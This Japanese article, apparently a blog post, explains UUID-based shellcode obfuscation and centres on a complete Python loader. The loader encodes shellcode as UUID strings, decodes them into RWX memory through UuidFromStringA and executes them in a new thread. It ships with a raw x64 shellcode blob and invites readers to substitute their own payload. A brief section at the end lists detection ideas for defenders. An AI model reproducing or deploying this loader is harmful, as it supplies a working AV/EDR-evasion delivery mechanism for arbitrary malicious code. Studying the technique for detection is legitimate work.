まず UUID について理解しましょう: UUID(ユニバーサルユニーク識別子)は、128 ビットの値で、ソフトウェアシステムでほぼ一意の参照を提供するために一般的に使用されます。通常、16 進数の数字で構成された文字列形式で表され、5 つの部分に分かれています。その構造と生成方法(タイムスタンプまたはランダム数に基づく)により、UUID が衝突する可能性は非常に低く、特に集中管理のユニーク性管理メカニズムが欠如しているシナリオで、分散システム内のオブジェクトや記録を識別するのに非常に適しています。
悪意のあるスクリプトは、主に Microsoft が提供する API 関数: UuidFromStringA () を利用しています。この関数は、UUID 文字列をバイナリ形式に変換できます。したがって、上記の一連の UUID は、一度元のバイトにデコードされると、シェルコードとしてメモリに注入されて実行されます。この技術を利用するマルウェアは追跡を逃れる可能性が非常に高く、VT スコアはわずか: 2/61 です。
UUID ベースのシェルコードローダー(Python 実装)
このコードは、攻撃者がシェルコードを UUID 形式にエンコードし、メモリにロードして実行する方法をシミュレートしています。実際の攻撃では、このようなコードは AV/EDR 検出を回避するために使用される可能性があります。
単純なシェルコード(例えば、計算機 calc.exe の x64 シェルコード)があると仮定し、それを 16 バイトのブロックに分割し、UUID 形式に変換できます:
import ctypes
import uuid
def generate_uuid_shellcode(shellcode):
"""シェルコードをUUID形式の文字列リストに変換します"""
uuid_shellcode = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
# 不足16バイトはNOP (0x90) で埋めます
if len(chunk) < 16:
chunk += b"\x90" * (16 - len(chunk))
uuid_str = str(uuid.UUID(bytes_le=chunk))
uuid_shellcode.append(uuid_str)
return uuid_shellcode
def execute_uuid_shellcode(uuid_shellcode):
"""メモリにUUID形式のシェルコードをロードして実行します"""
# 読み取り、書き込み、実行可能なメモリを割り当てます (RWX)
rwx_page = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(uuid_shellcode) * 16),
ctypes.c_int(0x1000), # MEM_COMMIT
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
if not rwx_page:
print("[!] VirtualAllocに失敗しました!")
return False
# UUID文字列をバイナリに戻してメモリに書き込みます
ptr = rwx_page
for u in uuid_shellcode:
status = ctypes.windll.rpcrt4.UuidFromStringA(
ctypes.c_char_p(u.encode()),
ctypes.c_void_p(ptr)
)
if status != 0:
print(f"[!] UuidFromStringAに失敗しました (ステータス: {status})")
return False
ptr += 16
# シェルコードを実行するスレッドを作成します
thread_handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(rwx_page),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
if not thread_handle:
print("[!] CreateThreadに失敗しました!")
return False
# スレッドの終了を待ちます
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(thread_handle),
ctypes.c_int(-1)
)
return True
if __name__ == "__main__":
# サンプルシェルコード (x64計算機を起動するためのペイロード、実際の研究目的のシェルコードに置き換える必要があります)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
b"\x63\x2e\x65\x78\x65\x00"
)
# UUID形式のシェルコードを生成します
print("[+] UUID形式のシェルコードを生成中...")
uuid_shellcode = generate_uuid_shellcode(shellcode)
for u in uuid_shellcode:
print(f'"{u}",')
# シェルコードを実行します
print("\n[+] シェルコードを実行中...")
if execute_uuid_shellcode(uuid_shellcode):
print("[+] シェルコードの実行が完了しました!")
else:
print("[!] シェルコードの実行に失敗しました!")
重要なコードの説明#
generate_uuid_shellcode
#
- 元のシェルコードを 16 バイトごとに分割します。
- 各ブロックを UUID 文字列(リトルエンディアン)に変換します。
execute_uuid_shellcode
#
VirtualAlloc
を使用して RWX メモリを割り当てます。UuidFromStringA
を呼び出して UUID をバイナリに戻し、メモリに書き込みます。CreateThread
を通じてメモリ内のシェルコードを実行します。
シェルコードの置き換え#
- サンプルのシェルコードは x64 計算機のペイロードであり、実際の研究では他の合法的な用途のシェルコード(脆弱性研究の PoC など)に置き換えることができます。
防御の提案#
次の API 呼び出しを監視します:#
VirtualAlloc
+CreateThread
の組み合わせ。- 長い文字列を変換するための
UuidFromStringA
。
行動検出:#
- プロセスが RWX メモリを頻繁に割り当てているかどうかを確認します。
- EDR ツール(Elastic Endpoint など)を使用してメモリ注入の行動をキャッチします。
テスト環境:#
- このようなコードは、隔離された仮想マシン(VMware + スナップショットなど)でのみ実行してください。
常にペネトレーションテストの承認とコンプライアンス要件を遵守してください!